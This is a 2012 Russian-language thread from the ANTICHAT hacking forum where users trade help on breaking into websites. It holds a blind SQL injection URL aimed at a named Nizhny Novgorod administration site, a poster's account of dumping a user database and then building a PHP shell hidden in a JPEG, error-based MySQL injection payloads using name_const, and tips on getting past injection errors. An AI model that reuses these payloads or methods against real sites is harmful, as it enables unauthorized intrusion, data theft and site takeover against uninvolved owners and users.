ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
14.05.2012, 13:40
|
|
Guest
Сообщений: n/a
Провел на форуме:
11980
Репутация:
1
|
|
hash вида mysql
|
|
|
|
14.05.2012, 14:15
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Сообщение от cipa21
cipa21 said:
information_schema не доступен.
Брут таблиц
результата не дал. Есть предложения?
Там будет типа PREFIX_users. Joomla.
[QUOTE="ReV0LVeR"]
ReV0LVeR said:
hash вида mysql
|
|
|
|
14.05.2012, 14:19
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
http://www.admcity.nnov.ru/script/phones1.php?id=6783+and+1=2
исчезает содержимое страници
так перебираю, нифига
http://www.admcity.nnov.ru/script/phones1.php?id=6783+and+substring%28@@version,1,1% 29=5
может всё же ето не blind sql???
|
|
|
|
14.05.2012, 15:08
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937
Репутация:
0
|
|
у Вас там FireBird 2.1.3
Крутить как вы верно заметили через Blind SQL
|
|
|
14.05.2012, 20:11
|
|
Guest
Сообщений: n/a
Провел на форуме:
5709
Репутация:
0
|
|
Наткнулся на скулю, раскрутил, слил базу юзеров. Хочу залить шелл. Админки, как таковой нету, но есть модераторы с расширенными возможностями (в частности редактирования статей). FILE_PRYV = off Можно загрузить фотку на сервер. Я загрузил фото-шелл(сделал я его по такой схеме:
Сообщение от None
1. Создаем любое изображение
$ echo "" > simple_shell.php
$ cat 1.jpeg simple_shell.php >> poisoned.jpeg
Картинка готова к загрузке.
) На сервер фото залилось удачно, но php инклуда я так и не нашел . Можно ли еще каким-либо способом залить шелл ? |
|
|
|
15.05.2012, 22:37
|
|
Guest
Сообщений: n/a
Провел на форуме:
9763
Репутация:
8
|
|
Есть инжект ErrorBased:
Код:
Code:
1'or(select*from(select(name_const(version(),1)),name_const(version(),1))a)and(1)='1
получаю как и положено:
Код:
Code:
Duplicate column name '5.0.77-log'
версия 5.0.77
делаю:
Код:
Code:
1'or(select*from(select(name_const(database(),1)),name_const(database(),1))a)and(1)='1
и получаю ошибку в операторе NAME_CONST
Код:
Code:
Incorrect arguments to NAME_CONST
что в корне нелогично так как предыдущая команда выполнилась
пробую еще:
Код:
Code:
1'or(select*from(select(name_const((select(SUBSTRING(group_concat(table_name),1,64))from(information_schema.tables)),1)),name_const((select(SUBSTRING(group_concat(table_name),1,64))from(information_schema.tables)),1))a)and(1)='1
и та же херь:
Код:
Code:
Incorrect arguments to NAME_CONST
что еще можно сделать? |
|
|
|
15.05.2012, 22:46
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
\/ITA,
через rand выводи.
UPD:
https://rdot.org/forum/showthread.php?t=60
|
|
|
|
15.05.2012, 22:58
|
|
Guest
Сообщений: n/a
Провел на форуме:
9763
Репутация:
8
|
|
Сообщение от Ereee
Ereee said:
\/ITA
,
через rand выводи.
UPD:
https://rdot.org/forum/showthread.php?t=60
пытаюсь, безпробельный вариант через ранд ваще нереал, нужно чтобы были одни скобки
UPD:
спс, нашел способ в том топике
|
|
|
|
16.05.2012, 01:10
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937
Репутация:
0
|
|
to \/ITA
Увы, но в name_const() выводится только version()...
|
|
|
|
17.05.2012, 02:07
|
|
Guest
Сообщений: n/a
Провел на форуме:
3060
Репутация:
0
|
|
Подскажите пожалуйста, что делать если введенную xss показывает просто как текст?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
